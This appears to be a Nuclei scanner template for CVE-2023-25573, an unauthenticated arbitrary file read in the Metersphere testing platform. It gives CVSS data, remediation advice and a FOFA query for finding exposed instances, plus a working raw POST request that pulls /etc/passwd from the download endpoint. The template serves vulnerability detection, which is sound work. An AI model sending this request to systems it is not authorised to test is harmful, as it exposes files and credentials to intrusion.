id: CVE-2023-25573

info:
  name: Metersphere - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1
  remediation: Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Metersphere%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2023-25573.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25573
    - https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-25573
    cwe-id: CWE-862
    epss-score: 0.00084
    epss-percentile: 0.34763
    cpe: cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="Metersphere"
    vendor: metersphere
    product: metersphere
  tags: cve,cve2023,metersphere,lfi

variables:
  str: "{{rand_base(4)}}"
  rand: "{{rand_base(3)}}"

http:
  - raw:
      - |
        POST /api/jmeter/download/files HTTP/1.1
        Content-Type: application/json

        {"reportId":"{{str}}","bodyFiles":[{"id":"{{rand}}","name":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/etc/passwd'

      - type: word
        part: header
        words:
          - 'filename="{{str}}.zip"'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200